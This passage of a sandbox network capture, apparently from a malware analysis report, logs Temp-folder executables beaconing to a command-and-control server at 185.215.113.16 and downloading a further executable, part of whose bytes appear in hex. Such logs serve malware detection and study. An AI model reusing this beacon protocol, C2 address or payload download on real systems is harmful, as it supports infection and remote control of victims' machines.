Oct 29, 2024 05:03:23.748095989 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50038	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:23.757271051 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:24.667695999 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50040	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:24.792984009 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:25.688673019 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:03:25.694989920 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:25.975678921 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50042	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:26.091519117 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:26.994987965 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50044	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:27.006588936 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:27.917820930 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50045	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:28.041724920 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:28.946477890 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50047	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:29.124372959 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:30.025290966 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50048	185.215.113.16	80	892	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:29.460150003 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 29, 2024 05:03:30.370170116 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:30 GMT Content-Type: application/octet-stream Content-Length: 2838528 Last-Modified: Tue, 29 Oct 2024 03:25:40 GMT Connection: keep-alive ETag: "672055b4-2b5000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 af 68 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,h+`Ui` @ @.rsrc`2@.idata 8@bbzqfojp+:@ynvwdqnr ++@.taggant@+".+@
Oct 29, 2024 05:03:30.370214939 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 05:03:30.370268106 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 05:03:30.370302916 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 05:03:30.370373964 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 05:03:30.370424032 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 05:03:30.370456934 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 05:03:30.370491028 CET	1236	IN	Data Raw: 91 db b1 82 a9 be b2 c9 30 8f b0 41 20 59 d5 f3 94 72 cf e3 53 94 dc 23 65 c9 fe c0 fa 74 6e d6 48 47 04 67 ff 56 2f a3 98 0e f5 f9 cf 90 42 c3 03 c8 92 f3 47 c5 bd 3f 32 96 b7 3d 02 c0 79 d5 0f dd a2 83 a9 c2 a6 9b 55 f9 91 39 24 ff b7 52 77 26 Data Ascii: 0A YrS#etnHGgV/BG?2=yU9$Rw&Y?G(=#+b^}@>+f=bCYIT=:AUi/~t38eN0F&#U$Irt~~
Oct 29, 2024 05:03:30.370526075 CET	1236	IN	Data Raw: 85 da 98 99 ed da 94 e5 94 2f 10 f9 2a e7 9e 70 73 ef a2 fd a1 94 fc e0 63 42 f4 89 0d 87 a4 82 73 ef e4 e3 91 a7 e0 84 9c d4 26 01 0d da d8 83 73 bb 98 b1 a1 83 c8 f7 5f 7e c2 bd 75 e7 3c d8 a3 e6 04 5d 2a 5b ad 0b 0d 47 8c 82 b3 f6 24 51 bb 1f Data Ascii: /pscBs&s_~u<][G$QC4Kc>k>iQ;#4Bs`\3\6=UT[LDR#C}$@d#hC5DaL[6\TG>,vvBk\&>
Oct 29, 2024 05:03:30.370565891 CET	1236	IN	Data Raw: 4c fd a1 88 a7 9f 98 d4 40 a2 68 83 38 23 af 76 3e d4 9a b1 7d ca f4 28 29 b1 ef a0 5e 3f c5 27 57 e2 ee b2 3f 5e fa c6 82 b0 45 d4 13 f5 e5 18 43 c7 c4 93 2d a4 29 a5 03 d7 3e a5 52 b4 c8 5c bb ca cc f0 01 b0 d4 8a 3c 0d 04 82 b5 6a 81 55 f0 21 Data Ascii: L@h8#v>}()^?'W?^EC-)>R\<jU!c%ELntAb(^T7DKS!3x8}j>a:J^C92EQS-B@{1twOR=zl
Oct 29, 2024 05:03:30.376089096 CET	1120	IN	Data Raw: 35 82 51 2d 1b f3 bf dd 1f 7f b5 c6 d6 d3 fa e2 2f ca ae 42 2f f3 d8 d1 22 ed 4c a9 2c c2 53 f2 2f c3 d6 8f 72 f6 0a 14 a0 3e 43 b8 4e 04 9d 70 74 19 c0 86 4c a5 90 c1 73 d5 aa 96 55 b6 cc 8f 25 b8 d2 84 5f b4 d9 30 f3 fa b3 12 e3 a0 cf 44 53 3f Data Ascii: 5Q-/B/"L,S/r>CNptLsU%_0DS?%+!N7b0#md;T_yId()+=M}X\9e)xK=<cK{Q.Oy$gYs\6,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50049	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:30.142357111 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:31.058408022 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50050	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:31.069650888 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:31.975919962 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50053	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:32.088227034 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:32.982115984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	50054	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:32.991435051 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:33.888120890 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	50055	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:34.011509895 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:34.916831017 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:03:34.921804905 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:35.205970049 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	50056	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:35.327073097 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:36.249820948 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	50057	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:36.259360075 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:37.185425997 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50058	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:37.311814070 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:38.212953091 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50059	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:38.222120047 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:39.129828930 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
